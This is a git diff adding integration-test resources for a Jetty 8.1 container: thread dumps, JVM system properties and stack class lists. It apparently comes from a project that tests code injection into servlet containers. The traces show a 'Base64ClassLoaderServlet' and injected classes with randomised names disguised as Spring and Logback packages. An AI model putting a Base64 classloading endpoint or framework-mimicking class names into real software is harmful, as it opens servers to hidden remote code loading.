java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"qtp163638423-18 Acceptor0 SelectChannelConnector@0.0.0.0:8080" #18 [BLOCKED] on java.lang.Object@7d5dc37d + java.lang.Thread.State: BLOCKED + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:134) + at org.eclipse.jetty.server.nio.SelectChannelConnector.accept(SelectChannelConnector.java:109) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:938) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-27" #27 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.eclipse.jetty.client.HttpClient$1.run(HttpClient.java:445) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:662) + +"Timer-0" #25 daemon [WAITING] on java.util.TaskQueue@16cd83d8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.util.TimerThread.mainLoop(Timer.java:483) + at java.util.TimerThread.run(Timer.java:462) + +"qtp163638423-17 Acceptor1 SelectChannelConnector@0.0.0.0:8080" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:150) + at org.eclipse.jetty.server.nio.SelectChannelConnector.accept(SelectChannelConnector.java:109) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:938) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:662) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TransparentProxy-32" #32 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19195c2b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-28" #28 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19195c2b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"qtp163638423-10 Selector0" #10 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:569) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:290) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:662) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.eclipse.jetty.client.HttpClient$1 +org.eclipse.jetty.http.HttpParser +org.eclipse.jetty.io.nio.SelectChannelEndPoint +org.eclipse.jetty.io.nio.SelectChannelEndPoint$1 +org.eclipse.jetty.io.nio.SelectorManager$1 +org.eclipse.jetty.io.nio.SelectorManager$SelectSet +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.AbstractHttpConnection +org.eclipse.jetty.server.AbstractHttpConnection$RequestHandler +org.eclipse.jetty.server.AsyncHttpConnection +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.handler.HandlerCollection +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.nio.SelectChannelConnector +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$CachedChain +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$3 +org.springframework.jJIwU.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Jetty81ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty81ContainerTestBasicInfo.txt new file mode 100644 index 00000000..fc3ca6d0 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty81ContainerTestBasicInfo.txt @@ -0,0 +1,371 @@ +# Generated At 2025-08-10 14:58:23 +SystemProps: +java.runtime.name: Java(TM) SE Runtime Environment +sun.boot.library.path: /usr/java/jdk-7/jre/lib/amd64 +java.vm.version: 23.7-b01 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +user.country: US +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/jetty +java.runtime.version: 1.7.0_17-b02 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/java/jdk-7/jre/lib/endorsed +os.arch: amd64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +sun.jnu.encoding: UTF-8 +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 51.0 +jetty.home: /usr/local/jetty +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: Etc/UCT +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.7 +java.class.path: /usr/local/jetty/lib/jetty-xml-8.1.22.v20160922.jar:/usr/local/jetty/lib/servlet-api-3.0.jar:/usr/local/jetty/lib/jetty-http-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-continuation-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-server-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-security-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-servlet-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-webapp-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-deploy-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-servlets-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-annotations-8.1.22.v20160922.jar:/usr/local/jetty/lib/annotations/javax.annotation-1.1.0.v201108011116.jar:/usr/local/jetty/lib/annotations/org.objectweb.asm-3.1.0.v200803061910.jar:/usr/local/jetty/lib/jetty-jmx-8.1.22.v20160922.jar:/usr/local/jetty/lib/jsp/com.sun.el-2.2.0.v201108011116.jar:/usr/local/jetty/lib/jsp/javax.el-2.2.0.v201108011116.jar:/usr/local/jetty/lib/jsp/javax.servlet.jsp.jstl-1.2.0.v201105211821.jar:/usr/local/jetty/lib/jsp/javax.servlet.jsp-2.2.0.v201112011158.jar:/usr/local/jetty/lib/jsp/org.apache.jasper.glassfish-2.2.2.v201112011158.jar:/usr/local/jetty/lib/jsp/org.apache.taglibs.standard.glassfish-1.2.0.v201112081803.jar:/usr/local/jetty/lib/jsp/org.eclipse.jdt.core-3.7.1.jar:/usr/local/jetty/lib/jetty-jndi-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-plus-8.1.22.v20160922.jar:/usr/local/jetty/lib/jndi/javax.activation-1.1.0.v201105071233.jar:/usr/local/jetty/lib/jndi/javax.mail.glassfish-1.4.1.v201005082020.jar:/usr/local/jetty/resources:/usr/local/jetty/lib/jetty-websocket-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-util-8.1.22.v20160922.jar:/usr/local/jetty/lib/jetty-io-8.1.22.v20160922.jar +user.name: root +java.vm.specification.version: 1.7 +sun.java.command: /usr/local/jetty/start.jar +java.home: /usr/java/jdk-7/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.7.0_17 +java.ext.dirs: /usr/java/jdk-7/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/java/jdk-7/jre/lib/resources.jar:/usr/java/jdk-7/jre/lib/rt.jar:/usr/java/jdk-7/jre/lib/sunrsasign.jar:/usr/java/jdk-7/jre/lib/jsse.jar:/usr/java/jdk-7/jre/lib/jce.jar:/usr/java/jdk-7/jre/lib/charsets.jar:/usr/java/jdk-7/jre/lib/jfr.jar:/usr/java/jdk-7/jre/classes +java.vendor: Oracle Corporation +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"qtp1674157486-10 Selector0" #10 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:228) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:569) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:290) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:722) + +"Timer-0" #25 daemon [WAITING] on java.util.TaskQueue@d5a8bd9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"HashSessionScavenger-2" #24 daemon [TIMED_WAITING] on java.util.TaskQueue@33935a68 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"DestroyJavaVM" #35 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1674157486-12" #12 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f147c4c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"qtp1674157486-11" #11 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f147c4c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"TransparentProxy-30" #30 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9ec6950 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"HashSessionScavenger-1" #22 daemon [TIMED_WAITING] on java.util.TaskQueue@7ff60846 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"qtp1674157486-18" #18 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f147c4c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1674157486-16 Acceptor1 SelectChannelConnector@0.0.0.0:8080" #16 [BLOCKED] on java.lang.Object@71996d4b + java.lang.Thread.State: BLOCKED + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:210) + at org.eclipse.jetty.server.nio.SelectChannelConnector.accept(SelectChannelConnector.java:109) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:938) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:722) + +"TransparentProxy-27" #27 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.eclipse.jetty.client.HttpClient$1.run(HttpClient.java:473) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:722) + +"TransparentProxy-31" #31 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9ec6950 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"TransparentProxy-28" #28 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9ec6950 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"HashSessionScavenger-0" #21 daemon [TIMED_WAITING] on java.util.TaskQueue@fd69131 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"qtp1674157486-15 Acceptor0 SelectChannelConnector@0.0.0.0:8080" #15 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:226) + at org.eclipse.jetty.server.nio.SelectChannelConnector.accept(SelectChannelConnector.java:109) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:938) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:722) + +"qtp1674157486-14 Selector1" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:228) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:569) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:290) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:722) + +"qtp1674157486-13" #13 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f147c4c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@4fd63016 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133) + +"qtp1674157486-17" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1618) + at ch.qos.logback.vUZoj.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2854) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:684) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1507) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1487) + at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:499) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:137) + at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:533) + at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:231) + at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1086) + at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:427) + at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:193) + at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1020) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:135) + at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:255) + at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:154) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:116) + at org.eclipse.jetty.server.Server.handle(Server.java:370) + at org.eclipse.jetty.server.AbstractHttpConnection.handleRequest(AbstractHttpConnection.java:494) + at org.eclipse.jetty.server.AbstractHttpConnection.content(AbstractHttpConnection.java:984) + at org.eclipse.jetty.server.AbstractHttpConnection$RequestHandler.content(AbstractHttpConnection.java:1045) + at org.eclipse.jetty.http.HttpParser.parseNext(HttpParser.java:861) + at org.eclipse.jetty.http.HttpParser.parseAvailable(HttpParser.java:236) + at org.eclipse.jetty.server.AsyncHttpConnection.handle(AsyncHttpConnection.java:82) + at org.eclipse.jetty.io.nio.SelectChannelEndPoint.handle(SelectChannelEndPoint.java:696) + at org.eclipse.jetty.io.nio.SelectChannelEndPoint$1.run(SelectChannelEndPoint.java:53) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:722) + +"TransparentProxy-33" #33 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9ec6950 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"qtp1674157486-19" #19 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f147c4c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"TransparentProxy-26 Selector0" #26 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:228) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:569) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:290) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:722) + +"Scanner-0" #23 daemon [TIMED_WAITING] on java.util.TaskQueue@76ef1d4c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Scanner-1" #34 daemon [TIMED_WAITING] on java.util.TaskQueue@4c6ca594 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"TransparentProxy-29" #29 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9ec6950 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@70eabebe + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:177) + +"TransparentProxy-32" #32 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9ec6950 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at 